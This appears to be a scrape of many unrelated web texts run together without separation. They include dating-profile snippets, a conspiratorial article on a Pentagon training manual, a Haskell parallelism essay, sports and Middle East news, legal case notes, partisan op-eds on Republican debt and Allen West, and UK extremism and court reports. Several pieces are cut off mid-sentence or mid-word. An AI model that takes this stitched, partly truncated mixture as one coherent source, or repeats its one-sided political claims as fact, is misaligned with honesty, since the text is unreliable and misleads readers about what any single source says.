I love intelligent, sassy girls, particularly those working in consulting or investment banking (but other fields are great too). Really, nothing is hotter than an accomplished girl in a suit, as long as she is willing to settle down and have my children. I want a girl who will support my ambitions against the naysayers in society.
Rob, Stanford, California
Ayn Rand ignited the fire within me that was searching for the right spark. My every action is guided according to my philosophy, and my philosophy is the philosophy of Ayn Rand.
I am interested in meeting someone that truly embodies the values and virtues of Objectivism. I have found very few women that have not already been beaten down to a flimsy, irrational, empty pulp. I have changed many girls’ lives, but no one has blown me away yet.
I never hook-up randomly, I never kiss a girl that doesn’t deserve mine. I have yet to find a girl deserving of my falling in love with her. But other people are secondary values no matter what, so finding someone is not a priority for me.© NaturalSociety
. Sound familiar? It's just like the US calling other nations terrorists when our government has terrorized more of the 'free' world than we could even imagine. It has basically called its own citizens terrorists already with NSA spying.How in the world has it come to this? Americans are becoming'serfs' to their own government much the same way that the British monarchy forced self-sufficient farmers to divide up their land into mono-cropping plots so that they could tax the heck out of everyone and make them reliant upon the same system of tenet farming which then enslaved the masses.What's worse, even the founding fathers are considered 'extremists' by the Pentagon, according to a new training manual that labels farmers as such. This bit of information was discovered by the legal watchdog, Judicial Watch, as part of a Freedom of Information Act request, and was included in over 133 documents provided by the Air Force.To teach our military to root out 'extremism' in a'student guide', those who would decide to grow some organic cabbage, non-GMO corn, and tomatoes, for example, would be considered a threat to national defense. Even though the document says that this is 'for training purposes only' and 'do not use on the job,' why on earth would such a reference be made? It is simply preposterous.The manual goes on to pigeonhole those who would have the gall to grow their own food:An "extremist" isIn addition, it says,I am a writer, but I have no words.So essentially - as we've all suspected of late, if we believe in supporting our own rights, if we believe in freedom - sovereignty of food, and lifestyle, then we are enemies of the state and federal government. I'm not sure what country we live in anymore, but it certainly isn't one in which we allow 'freedom to ring.'Many of our founding fathers were farmers. Many of them spoke of ways to make this country a better place. Upholding basic human rights does not equate to terrorism. Like a stack of pancakes, they've flipped the truth over on itself.The document was obtained from the Air Force, but originated in the Department of Defense Office, which means it is likely used for 'training' in other military branches. I do sincerely hope that there are still men and women in midst, like |
4 documentary also features a 65-year-old prostitute who has 25 years experience under her belt.If you want to make programs go faster on parallel hardware, then you need some kind of concurrency. Right?
In this article I’d like to explain why the above statement is false, and why we should be very clear about the distinction between concurrency and parallelism. I should stress that these ideas are not mine, and are by no means new, but I think it’s important that this issue is well understood if we’re to find a way to enable everyday programmers to use multicore CPUs. I was moved to write about this after reading Tim Bray’s articles on Concur.next: while I agree with a lot of what’s said there, particularly statements like
Exposing real pre-emptive threading with shared mutable data structures to application programmers is wrong
it seems that parallelism and concurrency are still being conflated. Yes we need concurrency in our languages, but if all we want to do is make programs run faster on a multicore, concurrency should be a last resort.
First, I’ll try to establish the terminology.
A concurrent program is one with multiple threads of control. Each thread of control has effects on the world, and those threads are interleaved in some arbitrary way by the scheduler. We say that a concurrent programming language is non-deterministic, because the total effect of the program may depend on the particular interleaving at runtime. The programmer has the tricky task of controlling this non-determinism using synchronisation, to make sure that the program ends up doing what it was supposed to do regardless of the scheduling order. And that’s no mean feat, because there’s no reasonable way to test that you have covered all the cases. This is regardless of what synchronisation technology you’re using: yes, STM is better than locks, and message passing has its advantages, but all of these are just ways to communicate between threads in a non-deterministic language.
A parallel program, on the other hand, is one that merely runs on multiple processors, with the goal of hopefully running faster than it would on a single CPU.
So where did this dangerous assumption that Parallelism == Concurrency come from? It’s a natural consequence of languages with side-effects: when your language has side-effects everywhere, then any time you try to do more than one thing at a time you essentially have non-determinism caused by the interleaving of the effects from each operation. So in side-effecty languages, the only way to get parallelism is concurrency; it’s therefore not surprising that we often see the two conflated.
However, in a side-effect-free language, you are free to run different parts of the program at the same time without observing any difference in the result. This is one reason that our salvation lies in programming languages with controlled side-effects. The way forward for those side-effecty languages is to start being more explicit about the effects, so that the effect-free parts can be identified and exploited.
It pains me to see Haskell’s concurrency compared against the concurrency support in other languages, when the goal is simply to make use of multicore CPUs (Edit: Ted followed up with a clarification). It’s missing the point: yes of course Haskell has the best concurrency support :-), but for this problem domain it has something even better: deterministic parallelism. In Haskell you can use multicore CPUs without getting your hands dirty with concurrency and non-determinism, without having to get the synchronisation right, and with a guarantee that the parallel program gives the same answer every time, just more quickly.
There are two facets to Haskell’s determinstic parallelism support:
par/pseq and Strategies. These give you a way to add parallelism to an existing program, usually without requiring much restructuring. For instance, there’s a parallel version of ‘map’. Support for this kind of parallelism is maturing with the soon to be released GHC 6.12.1, where we made some significant performance improvements over previous versions.
Nested Data Parallelism. This is for taking advantage of parallelism in algorithms that are best expressed by composing operations on (possibly nested) arrays. The compiler takes care of flattening the array structure, fusing array operations, and dividing the work amongst the available CPUs. Data-Parallel Haskell will let us take advantage of GPUs and many-core machines for large-scale data-parallelism in the future. Right now, DPH support in GHC is experimental, but work on it continues.
That’s not to say that concurrency doesn’t have its place. So when should you use concurrency? Concurrency is most useful as a method for structuring a program that needs to communicate with multiple external clients simultaneously, or respond to multiple asynchronous inputs. It’s perfect for a GUI that needs to respond to user input while talking to a database and updating the display at the same time, for a network application that talks to multiple clients simultaneously, or a program that communicates with multiple hardware devices, for example. Concurrency lets you structure the program as if each individual communication is a sequential task, or a thread, and in these kinds of settings it’s often the ideal abstraction. STM is vitally important for making this kind of programming more tractable.
As luck would have it, we can run concurrent programs in parallel without changing their semantics. However, concurrent programs are often not compute-bound, so there’s not a great deal to be gained by actually running them in parallel, except perhaps for lower latency.
Having said all this, there is some overlap between concurrency and parallelism. Some algorithms use multiple threads for parallelism deliberately; for example, search-type problems in which multiple threads search branches of a problem space, where knowledge gained in one branch may be exploited in other concurrent searches. SAT-solvers and game-playing algorithms are good examples. An open problem is how to incorporate this kind of non-deterministic parallelism in a safe way: in Haskell these algorithms would end up in the IO monad, despite the fact that the result could be deterministic. Still, I believe these kinds of problems are in the minority, and we can get a long way with purely deterministic parallelism.
You’ll be glad to know that with GHC you can freely mix parallelism and concurrency on multicore CPUs to your heart’s content. Knock yourself out 🙂
AdvertisementsFrancesc Vilanova i Bayó, Tito Vilanova, has died at the age of 45 from the parotid gland cancer he had suffered since 2011.
The ex-manager had been admitted into a Barcelona hospital after a serious relapse of his illness. There, he underwent emergency surgery in an attempt to save his life. The ex-Barcelona manager was operated on due to a gastric complications.
Vilanova has been battling cancer of the throat since November 2011. The manager was forced to step down in the summer of 2013 after suffering a relapse of the disease. Tito Vilanova was replaced by Gerardo 'Tata' Martino.
Vilanova had a tumour removed from his parotid gland in November 2011, being treated by chemotherapy and radio therapy. He was appointed Barcelona manager at the end of the 2011-12 campaign.
Vilanova's Azulgrana side equaled the record points total set by Real Madrid the season before, reaching 100. He had become assistant manager to Pep Guardiola in 2008.Headlines for state attorneys general (AGs) have been dominated by tangles with the Trump administration — from the travel ban case going to the U.S. Supreme Court to challenges to legacy regulations at federal agencies. Less visible are actions by state AGs to push forward their interests and influence in technology-oriented consumer products, as highlighted in panel topics at various attorney general meetings this summer.
An attorney general is often known as the “top cop” in his or her state. However, rather than having widespread criminal prosecutorial powers, state AGs utilize broad consumer protection authority. Particularly in assessing deceptive and unfair acts and practices with consumer-facing business, AGs are market regulators and enforcers.
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Furthermore, state AGs enforce certain federal regulations, and even the elusive “abusive” standard of the
Consumer Financial Protection Bureau
. Combining into potential multi-state actions, AG investigations can be pervasive. On top of that, as predominantly elected officials, state AGs are highly motivated by policy interests affecting consumers and businesses.
For years, data breaches have been big news for state AGs, as there remains no federal compliance standard. Individual states maintain their own requirements for notification in case of a breach, and they are enforced by state AGs. Some states take the opportunity to establish heightened privacy standards for the types of data that companies can collect. For instance, the Illinois legislature recently passed legislation to restrict geolocation data, and the rules are to be enforced by the attorney general. Moving from reactive roles to proactive interests, state AGs are mapping out technology sectors where they see significant instances of security and privacy at stake.
Three “huge” technologies that will shape the future of consumers have the current interest of state AGs: driverless cars, the “internet of things,” and artificial intelligence. The interconnectedness of computing devices along with the capture of personal data, including at times when a consumer may be unaware, has some state AGs on high alert. The concern from AGs is not a particular innovation itself, but rather a self-realization of how AGs themselves should react to the seismic shift in consumer preferences where a desire for efficiency, personalization and freedom is trumping traditional notions of consumer protection.
First, with driverless or “autonomous” vehicles and connected cars, we have the Jetsons becoming reality. A fleet of cars without drivers roams the streets of Pittsburgh, and a production vehicles will show up at your door. The National Highway Traffic Safety Administration categorizes five levels of automated driving from level one, which includes cruise control, to levels four and five, in which the vehicle monitors all roadway conditions and reacts appropriately. Between the ends of this spectrum is an incremental revolution, as more and more driver assistance features are introduced into vehicles.
With the productivity and safety gains for those no longer seated behind a steering wheel, state AGs recognize potential privacy concerns with location data, driving habits and occupant identification that could be at risk of unauthorized use or disclosure. State AGs will also seek to defend their state laws from the preemptive effects of federal regulations that may otherwise be necessary to usher the advancement of driverless technology. With state AGs clearly having a role to influence the driverless industry and its future, proactive engagement with AGs, even in spite of their enforcement role, is critical.
Second, the “internet of things” (IoT) describes smart devices connected together. Smart devices may be activated remotely, may detect information independently, or may be able to learn and repeat functions. IoT devices collect information from a person’s home or surroundings, some which may be personal. Earlier this year, for instance, the FTC and the New Jersey attorney general scored a $2.2 million settlement with a TV manufacturer that collected viewing histories.
For state AGs, IoT enforcement considerations involve unfair and deceptive acts and practices. These include, for example, giving no notice to consumers about personally identifiable information that may be collected and possible HIPAA violations in sharing confidential health information. The proliferation of non-secure connected devices creates growing risks.
Last year, the Mirai virus searched the internet for vulnerable IoT devices, attacked them using common manufacturer default settings, and infected devices to control them for additional attacks. State AGs are aware of ways in which IoT devices — from cordless tea kettles to connected medical devices — could be compromised when poor security opens up possibilities to gain access to a wireless home network.
Third, artificial intelligence, or AI, certainly brings images of science fiction. AI involves computers performing tasks in ways that would otherwise require human intelligence, such as recognizing speech, having visual perception, or making decisions. Last year, an AI “robot journalist” wrote 450 stories on the Olympics, and sch superhuman feats will continue, as AI learns to understand pictures and videos of events.
State AGs understand how AI may be useful for law enforcement, such as managing unregistered drones by taking them safely out of the sky. This method of using technology advances to manage technology risks is certainly appealing and needs to be better understood by AGs across a variety of industries.
State AGs have already been receiving a similar education with their regulatory and enforcement authority toward the sharing economy, as traditional methods of consumer protection do not fit. More so, AI will transform our economy as a whole, which has state attorneys general considering how their consumer protection roles must change.
Joseph Jacquot is a partner at Foley & Lardner LLP. He previously served as chief deputy attorney general of Florida and as deputy chief counsel for the U.S. Senate Judiciary Committee.
The views expressed by contributors are their own and are not the views of The Hill.From the ceremonies of the declaration of federalism in Rojava, Rumelan, northeaster Syria. Photo: ARA New
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ARA News
SULAIMANIYAH – The Kurdish National Council (KNC), which is a part of the Syrian Coalition that participates in the Geneva talks, denounced the federalism declaration in Rumelan.
“The Kurdish National Council in Syria strongly denounces this step by the PYD [Democratic Union Party]. Although the KNC is in favour of federalism since 2012, it strictly opposes any attempt to impose federalism on the Syrian people without a preceding discussion,” said the KNC in a statement obtained by ARA News.
The statement shows the divisions between the KNC and the PYD, the main Syrian Kurdish parties, despite of three previous power-sharing agreements signed in Erbil and Duhok under the sponsorship of the Iraqi Kurdistan Regional Government (KRG). While the KNC is part of the Syrian opposition’s delegation in Geneva, the PYD is considered the most powerful Kurdish actor on the ground, and was excluded from the peace talks that continued on 14 March.
On 17 March, the PYD and it’s Arab allies announced a Democratic Federal System for Rojava and Norhern Syria in a two-days conference in the oil-rich town of Rumelan, appointing Hediya Yousef, a Kurd, and Mansur Selam, an Arab, as co-leaders, after they were excluded from the talks.
“Announcing federalism all of a sudden, lacking the urgently needed debate and democratic participation to possibly come to that decision, is just another form of dictatorship,” said Kamiran Hajo, chairman of the Foreign Relations Office of the KNC in a public statement.
The KNC also criticized the UN Deputy Special Envoy Ramzy Ezzeddine Ramzy for saying a united, sovereign Syria, is non-negotiable, which indicates that both the Syrian opposition and regime agree on a ‘unified’ Syria, and oppose federalism, while disagreeing on everything else.
“The Kurdish National Council objects the hereby implied correlation between federalism and the breakdown of Syria. On the contrary, one of the essential principles of most federal systems is ‘unity in diversity’, hence, federalism could strengthen the unity in Syria, providing for democratic participation of diverse groups on diverse levels of government at the same time,” the KNC said.
“PYD and UN seem to have clear stances towards federalism, but neither the one nor the other had discussed about what it really means,” said Kamiran Hajo. “At the end of the day inclusive talks cannot only mean to speak to everyone but to speak about every potential approach for a future Syria. Federalism is one of them.”
Pro-PYD politicians suggest that the KNC is under Turkish and Syrian opposition influence, and therefore is against the federal region announced by Kurds and Arabs in Syria.
“This is because they are under Turkish pressure and some parts of the Syrian opposition that are against the democratic administration in Rojava [Syria’s Kurdish region],” Idris Nassan, Kurdish analyst and a former official in the local administration in Kobane, told ARA News.
“Turkey is afraid of spreading feelings of freedom, democracy and equality to millions of Kurds in Turkey, and the opposition tries to renew the central power in Syria and wants to replace Assad by a Sunni,” he stated.
“So even the KNC demanded federalism with the start of Syrian uprising, but now they don’t accept Rojava federalism,” Nassan said.
Experts suggest the KNC statement shows the internal rivalry among the main Kurdish factions in Syria.
“It is hard to know what the KNC actually wants. There is a fundamental contradiction between the Kurdish nationalist ideology of the KNC and the political project of its Syrian allies. Sometimes it seems that the only consistent policy of the KNC is to oppose anything that the PYD does,” Carl Drott, a sociology researcher at the University of Oxford, UK, told ARA News.
It’s most likely that tensions between the KNC and PYD over power-sharing will continue, while the only thing the Syrian opposition and the Assad regime agree upon is that the Kurds should not get any form of self-rule in northern Syria.
Reporting by: Wladimir van Wilgenburg
Source: ARA News
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Join our Weekly NewsletterThe Bull City Stand Down connects hundreds of local veterans with services such as eye exams, vaccines and legal help. The event helps veterans, many of whom are homeless or living in temporary housing, get basic needs like toiletries, teeth cleaning or extractions, or even just a quick shave.According to organizers, approximately 170 veterans who attended the event are living in temporary housing, homeless shelters or on the streets.Army veteran Robert Kirby works at a Food Lion deli and is among those veterans in temporary housing.He said just being able to get a haircut means so much to him."I'm a sentimental guy, when I see the national anthem on TV, I stand, and it's great to see these people who are giving back to the community and to the veterans," Kirby said. "You know we get down on our luck just like anybody else."Kirby is not alone.Jesse Pratt Jr. is a 72-year-old Vietnam infantry veteran. He said he has PTSD and has been waiting 10 years to hear back on some of his medical claims.Those are of the challenges that event coordinators are hoping to solve."We have a lot of veterans who don't even know they're entitled to any benefits," Kim Burrucker said.Burrucker is the director of public interest and pro bono work for Duke Law. She said volunteers with Duke law are also helping vets get money on back taxes -- helping one vet get almost $3,000 alone.She said it is access to advice and resources that can make all the difference for homeless and other vulnerable veterans."I would like to be able to reach every homeless veteran in this area. You know, there's a lot of them that don't even know about it, and we try, but our resources are limited," she said.Burrucker said Bull City Stand Down organizers hoped to serve about 450 to 500 veterans at Friday's event.By now, everyone is aware of the news regarding CB Cortland Finnegan: he is being released from his contract with the Rams, with 3 years remaining on it. The news came as no surprise, as Finnegan's performance as a Ram never quite lived up to the 5 year/ $50 million contract he signed in 2012. Finnegan's departure is another piece of the Rams' off season puzzle. What are the implications of the Rams releasing Finnegan? How does it affect the Rams' salary cap, their plans for the draft, and how they approach free agency?
Timing of his release
As noted in last weeks major salary cap update (link), and Monday's cap space update (link), the Rams are well under the salary cap heading into the new league year. The Rams are not in a position where they are forced to release players/restructure contracts - to be in compliance with the off season salary cap - by March 11. The timing of Finnegan's release is not a desperate maneuver to get under the salary cap. What it does is bring some clarity to the Rams' plans for free agency - and the draft - while immediately freeing up $4 million in salary cap space, days before the opening of free agency. Indications are the Rams attempted to negotiate a salary reduction, and released Finnegan when he refused to accept the terms of a restructure.
According to NFL.com's Ian Rapoport, the Rams met with Finnegan on Wednesday to go over options, igniting this chain of events:
What happened with Cortland Finnegan? #Rams met with him today, presented him with options, including a pay cut. He let them know on Twitter — Ian Rapoport (@RapSheet) March 5, 2014
Finnegan "broke" the news with a tweet to ESPN's Adam Schefter:
And there goes @CortFinnegan with the news the Rams have released him. Classy send off message from him, too. — Adam Schefter (@AdamSchefter) March 5, 2014
Jim Thomas of the St. Louis Post-Dispatch confirmed the news:
Rams inform Finnegan he will be released: http://t.co/XFiUPcZmRT via @STLtoday — Jim Thomas (@jthom1) March 5, 2014
Thomas noted Jeff Fisher's interest in re-signing Finnegan at a later date (no doubt at a reduced salary), in a Wednesday follow-up article (link):
"We've expressed interest in him coming back to our football team. We appreciate what he's done for us. I know he was personally disappointed the way last year ended up for us. But as we told him, he can help win football games for us next year."
The Rams can't officially release Finnegan until March 11, after the start of the new league year. If he was released now, his 2014 roster bonus would accelerate onto the 2013 salary cap, and the Rams don't have enough cap space left from 2013 to execute the transaction..
Finnegan's contract and salary cap savings
The accompanying chart presents the remaining three years of Cortland Finnegan's contract (before his release):
Year Base Salary Prorated Bonus Roster Bonus Cap Hit 2014 6,000,000 1,000,000 3,000,000 10,000,000 2015 8,000,000 1,000,000 9,000,000 2016 7,000,000 1,000,000 2,000,000 10,000,000
By releasing Cortland Finnegan, the Rams immediately receive $23 million in salary cap savings: $10 million in 2016, $9 million in 2015, and $4 million in 2014. At present, there is $6 million in dead money for 2014 associated with his release, the result of all guaranteed and prorated monies accelerating into 2014 as salary cap hits. For the moment, Finnegan's $10 million salary cap hit for 2014 is reduced to $6 million.
Finnegan's $3 million 2014 roster bonus
Much of the misinformation surrounding Finnegan's contract is regarding the $3 million roster bonus due on March 13. The two keys to understanding the implications of the roster bonus are: the guarantees associated with it, and the offset language built into its terms.
Any monies can be guaranteed for up to 3 different circumstances: skill, injury, and salary cap. A contract including player protection for all three circumstances is said to be "fully guaranteed". Finnegan's roster bonus was guaranteed for injury upon signing, and guaranteed for skill on February 8, 2013, the 5th day after the Super Bowl. Cutting Finnegan for salary cap purposes would be the only means available to the Rams for avoiding payment - and the salary cap hit - of the bonus. Releasing him before March 11 - in the 2013 league year - for cap purposes would not work, as the 2013 season is over, and no justification exists for a cap termination. The Rams will attempt to use 2014 salary cap purposes as the means to avoid payment of the bonus in 2014 (when the real reason is skill). Finnegan will likely argue the reason for release is "skill", making the bonus guaranteed. If the Rams can avoid the payment, the result would be a $7 million salary cap savings in 2014, with only $3 million in dead money remaining. It may end up being a moot point - due to offsets - if Finnegan signs elsewhere for at least $3 million.
The terms of the roster bonus includes offset language. If Finnegan is signed by another team, the roster bonus will be offset by his new contract, up to a limit of $3 million. As an example, if the Oakland Raiders sign Finnegan for $4 million, the Rams would receive $3 million to offset the roster bonus paid to him. Finnegan can only collect the $3 million once. The net result would be the Rams carrying only $3 million in dead money - instead of $6 million - and a salary cap savings of $7 million for 2014.
Free Agency and the NFL Draft
Finnegan's release may have implications for the Rams, in both free agency, and the NFL draft. Although Janoris Jenkins and Trumaine Johnson are young starters on the rise, NFL teams need three bona fide starters in today's pass-happy league. Depth at the CB position is thin as the result of Finnegan's release. The Rams will likely address the position in free agency and/or the draft. I expect the Rams - who are now in a relatively decent salary cap position - to look at signing a CB in free agency. The most obvious candidate is Alterraun Verner, due to his ties with both Jeff Fisher and Gregg Williams. Verner will command a contract upwards of 5 years/$45 million. If the Rams don't sign a CB in free agency, I expect them to select one early in the 2014 NFL draft. My favourites in the draft are Justin Gilbert with the #13 pick, or Kyle Fuller in the 2nd round.
The release of Cortland Finnegan frees up a minimum of $4 million in salary cap space. The savings could be used to sign a free agent at another position - such as guard Jon Asamoah - or be used to help re-sign Rodger Saffold. In addition, the salary cap savings could be used towards an estimated $10.5 million in additional operating expenses for 2014.
The Rams have another decision that must be made by March 13. As part of Harvey Dahl's 2013 contract restructure, his $4 million 2014 salary cap hit was split evenly between base salary and a non-guaranteed roster bonus, due on the third day of the new league year. The Rams must make a decision very shortly regarding his future with the team.
It should be a very busy - and interesting - week ahead for the St. Louis Rams.On September 3, 1999, the State disclosed to the defense that "Yesterday [Sept. 2, 1999] the state was orally informed that a DNA typing request may have been made. The State is checking to confirm if such a test was in fact requested and if so seeing if the results are ready."
Three weeks later, on September 24, 1999, the State provided another disclosure, this time stating that "the original request for DNA typing could not be processed because at the time of submission there was nothing to type; a new request has been submitted but the result s are not expected for 6 to 8 weeks." Subsequently, from late September through early November 1999, Melissa Stangroom performed a DNA test on the shirt found in Hae's car.
On September 28, 1999, Adnan's defense counsel wrote to the State, requesting clarification concerning the nature of these DNA requests:
This letter is in reference to your most recent disclosure of September 24, 1999. Your disclosure states that a previous request for DNA typing was made that could not be completed because there "was nothing to type". However, you now indicate that a new request has been submitted and results are expected within six to eight weeks. Does this "new" request mean that there is "new" evidence to be tested? We have not received notice of any such evidence. Please clarify as to what requests have been made both previously and presently. Specifically, what evidence has been submitted for DNA typing and comparison. Please also forward copies of all written requests for any analysis and identify the evidence and its location. Thank you for your prompt attention to this matter.
On November 9, 1999, the State provided another disclosure concerning the DNA evidence, this time stating the following:
To date the only report the State has received from Melissa Stangroom, Forensic Chemist II, of the Maryland State Police Crime Lab is an oral report. On November 8 she informed the State that the last probe for her DNA testing should be developed by November 9, and that all formal discovery should be available on or about November 15, 1999.
According to the State, then, there was no DNA testing performed prior to late September, and therefore no apparent explanation for why Stangroom found the seals on Adnan's and Hae's DNA samples had been broken when she began her testing on September 27, 1999.
The phrasing of Kevin Urick's November 9, 1999 disclosure is oddly specific, however. Urick noted that, "To date the only report the State has received from Melissa Stangroom [ ] is an oral report." Gutierrez's question to the State asked about all DNA testing that had been performed. Why, then, did Urick answer by referring to what the State had received from a specific analyst? And does it leave open the possibility that the State had received other reports from analysts besides Stangroom? If so, that could explain why the seals on the DNA samples had been broken.One of the most successful deceits of modern times is that Republicans oppose government debt. In fact, Republicans love government debt and expand it whenever they can. It’s important to understand this fact. It’s even more important to understand why it is so and why Trump’s tax cut is a classic case of self-interested Republican budget busting.
The last Republican president to produce a balanced budget was Richard Nixon, in 1969, almost 50 years ago. Since then, not a single Republican administration has produced a balanced budget. Not one. All have produced debt. Mountains of it.
Ronald Reagan was the King of Debt. When he came into office, in 1981, the national debt stood at $1 trillion. Twelve years later, when his Vice President, George H. W. Bush, left office, the national debt stood at $4 trillion. Think about that for a moment.
Over the span of 204 years, from 1776 to 1980, the nation fought the Revolutionary War, the War of 1812, the Civil War, built out the continent, fought World War I, survived the Great Depression, fought and won World War II and the better part of the Cold War. And through all of that it only created $1 trillion of debt.
Then, in a single 12-year period of relative peace and prosperity, Reagan and Bush I quadrupled it.
Bill Clinton raised taxes on the wealthy. The result was not only the longest peacetime economic expansion in American history, but the first budget surpluses in 30 years. He handed George W. Bush a $128 billion surplus.
Bush immediately enacted Reagan-esque tax cuts where 50% of the gains went to the top 1% of income earners. He turned the Clinton surplus into a $158 billion deficit in his first year, a staggering swing of $286 billion in only two years. Bush more than doubled the national debt in only eight years, fom $5.8 trillion to $11.9 trillion.
So, the FACT of Republicans producing debt is indisputable. It is even more important to understand why they do so with such relentless intensity.
First, debt enables them to borrow from the future, creating the illusion of growth. By spending money today that won’t have to be paid off for decades, Republicans create artificial prosperity which allows them to masquerade as economic wizards.
But any fool with a handful of credit cards charged off to future generations can gin up the illusion of prosperity today. When the debts become due—as they must—repaying them will force a shrinkage of economic opportunity. In this sense, Republican debts are a theft, from the future, literally stealing from our children to lavish the fruits on themselves today.
The second reason Republicans love debt is the Grover Norquist strategy to “Starve the Beast.” Once debt becomes too onerous, Republicans will be the first and loudest to claim that we need to cut spending on social services—Medicare, Medicaid, Social Security, Education—anything that helps the poor, working, or middle classes.
Starve the Beast also aims to remove government as a check on the predations of private enterprise. Republicans want to gut the Dodd-Frank restrictions on banks, EPA regulations on carbon emissions, hobble the Consumer Finance Protection Board, and more. When government goes “bankrupt” all such regulatory efforts will have to be pared back.
Another incarnation of Starve the Beast is that Republicans want to turn government functions over to private enterprise. Think charter schools replacing public schools. Wall Street managing Social Security. FedEx and UPS taking over the Post Office. Private mercenary contractors replacing the military.
Trillions of dollars flow through these and other institutions every year and Republicans want to get their hands on it. They wouldn’t be good capitalists if they didn’t try. When the government is bankrupt, the rationale will be all the more compelling.
Finally, and most importantly, more debt produces higher interest rates. This is simple supply and demand. When the demand for anything goes up its price goes up. More debt increases the demand for borrowed money. The price of borrowed money is the interest rate, meaning that greater debts produce higher interest rates.
Republicans like higher interest rates because they are net lenders. When the government borrows more money, interest rates rise, and not just on Treasury bills. They rise on all borrowed (or, in the case of Republicans, lent) money: mortgages; car loans; student loans; credit cards.
In other words, more government debt is a way to transfer income in the private economy from borrowers to lenders without the transfer appearing to be government-mandated. But it is a government-caused transfer, which is even better, because it flies below the radar of public consciousness but still carries out the Republican agenda of transferring national income and wealth to the already-wealthy.
Republicans talk a good game when it comes to debt and the mainstream media, which is owned by the wealthy, is scrupulous to not discuss these facts or reveal these motives. But we have a long enough trail of evidence to know the truth and the motivations could not be simpler: national debt makes the wealthy wealthier. Indeed, the effect is probably larger than the regressive impact of the tax cuts themselves.
As Deep Throat said in All the President’s Men, “Follow the money.” It tells us everything we need to know about Trump’s tax cut helping the already-wealthy.David Cameron will today expose some of Britain’s leading universities as havens for Islamist fanatics as he announces a new legal duty for colleges to stop extremists targeting students.
The Prime Minister will name and shame the universities that regularly give platforms to hate preachers who are determined to undermine British values. They include King’s College London as well as Queen Mary University and SOAS.
Mr Cameron will tell colleges they must stop giving fanatics “the oxygen they need to flourish”.
Jo Johnson, the universities minister, has also written to the National Union of Students, urging it to stop attacking counter-radicalisation programmes or associating with controversial organisations such as Cage, the Islamic civil rights group. A new legal requirement comes into force this week that will make universities and other education establishments fully assess and counter extremist preachers.
Photo: Alamy
University heads and student bodies have criticised the plans and claimed they damage freedom of speech and could force them to ban speakers.
However, chairing a meeting of his Extremism Taskforce, Mr Cameron will say: “All public institutions have a role to play in rooting out and challenging extremism. It is not about oppressing free speech or stifling academic freedom, it is about making sure that radical views and ideas are not given the oxygen they need to flourish.
“Schools, universities and colleges, more than anywhere else, have a duty to protect impressionable young minds and ensure that our young people are given every opportunity to reach their potential. That is what our one nation government is focused on delivering.” The Government’s Extremism Analysis Unit has concluded that there were at least 70 events held on campuses last year that involved hate preachers. Queen Mary, King’s College, SOAS and Kingston University held most events, the unit said.
It is the first time the Government has detailed those institutions who most regularly host fanatics.
Speakers included the homophobic preachers Haitham al-Haddad, Dr Uthman Lateef and Imran Ibn Mansur.
Hamza Tzortzis, who has called for an Islamic state and expressed his hostility towards Western values, and Dr Salman Butt were also highlighted.
Photo: PA
Concern over campuses being targeted for radicalisation has grown following a series of high-profile cases. Umar Farouk Abdulmutallab, who tried to detonate explosives in his underwear on a flight to Detroit in 2009, repeatedly contacted extremists during his time at University College London.
Photo: REUTERS
David Souaan, jailed for preparing terrorist acts in 2014, was a student at Birkbeck, University of London when he was arrested.
From Sept 21, the new legal duty will require colleges to put in place specific policies to stop extremists radicalising students, tackle gender segregation at events and support students at risk of radicalisation. The so-called Prevent Duty requires establishments to ensure they have proper risk assessment processes for speakers and ensure those espousing extremist views do not go unchallenged.Larry Lindsey posted at least one video of himself online last Saturday, alleging that the Colorado Republican Party and the Douglas County GOP blocked him from entry as a delegate to the state convention. The video exploded with views nationally after a favorable linking from the Drudge Report.
Complete Colorado recently reported that Lindsey had a Facebook post that raises questions as to whether he understood all of the steps required to vote for his presidential preference at the state assembly.
Late today, the Douglas County GOP issued a press release, claiming that Lindsey had not completed the second step required to become a delegate to the state convention. The release also notes the same issues with Lindsey’s March 1 Facebook post.
The press release is published in-full below.In 1978, the Orioles used their second-round draft pick on an infielder that most teams had projected as a pitcher. They weren’t going to let the son of Cal Ripken Sr. elude their grasp.
Thirty four years later, the Orioles dipped back into that gene pool, drafting Ryan Ripken — son of Hall of |
woman at Britain’s most prestigious agricultural college have walked free from court after the case collapsed amid claims crucial new evidence had come came to light.
Leo Mahon, 22, Patrick Foster, 22, Thady Duff, 20, and James Martin, 22, were studying at the Royal Agricultural University (RAU) in Cirencester, Gloucestershire, when they were accused of raping a female student on the night of the annual Mad Hatter’s Ball in May 2014.
The case had been due to begin last month but was delayed when lawyers claimed they had “hit an iceberg” resulting in the jury being discharged.
On Monday, with the trial due to get under way, the prosecution dramatically announced it would not be offering any evidence.
While greeting the news with relief, lawyers for the four men condemned the way the case had been handled and accused the police and prosecutors of “cherry picking” some evidence while “airbrushing” other parts of the case.
Meanwhile the mother of one of the defendants described how they had been through a “horrendous” experience resulting in their lives being put on hold for almost two years.Does Allen West need to audition for Fox News, or was that what the last two years actually was?
Of course, before we really begin discussing the worst thing Allen West ever said, let’s note that the decent should hesitate briefly before mocking the soon-to-be former congressman from Florida’s 22nd district for two reasons.
First, West retired from the Army after being fined for “harsh interrogation tactics” while serving with the 4th Infantry Division in Iraq. You look at Michele Bachmann (R-MN) and see no excuse in her background for her callous fear mongering and fevered desire to legislate morality—except perhaps her marriage. You can reasonably assume that, like the victim of his interrogation, West may suffer from some sort of post-traumatic shock, a permanent fog of war.
That said, even more importantly, you have to wonder if focusing on their looniest toons only distracts from the calculated cynicism of the right and its billionaire funders. Or does it illuminate the extremism Republicans promise when given any sort of power? After Todd Akin and Richard Mourdock, we have to assume the latter is more likely.
The far right are no longer pamphleteers and spit-ballers calling Eisenhower a “Commie” and accusing Kennedy of treason. They’re Republican candidates. In many ways, despite his questionable equanimity, Allen West is a perfect example of a Republican Party that can no longer tell the difference between governing and selling gold and emergency rations on AM radio.
Earlier this year, West told a town hall that “78 to 81” of his fellow members of Congress were members of the Communist Party. He followed that up with an op-ed in The Hill in which he didn’t back down from his claim. Instead he said he was trying to inspire “a passionate debate” and called the blustering AM radio demagogue Mark Levin an “esteemed scholar.”
West channeled former senator Joseph McCarthy perfectly when he asked, “What part of their agenda are they trying to hide?”
The assumption of guilt, the implication of defensiveness, the casual association with unspeakable horrors.
All of these were key aspects of McCarthyism and its blind attack on free speech and free thought. For decades after McCarthy’s censure by the Senate and rejection by his fellow Republicans, McCarthyism had been rejected by mainstream American society—then McCarthyism got its own news channel.
And about a decade and a half after the advent of Fox News, the right got its dream candidate in Allen West, who unapologetically called his colleagues “Communists” and no major voice in the Republican Party rose to rebuke him.
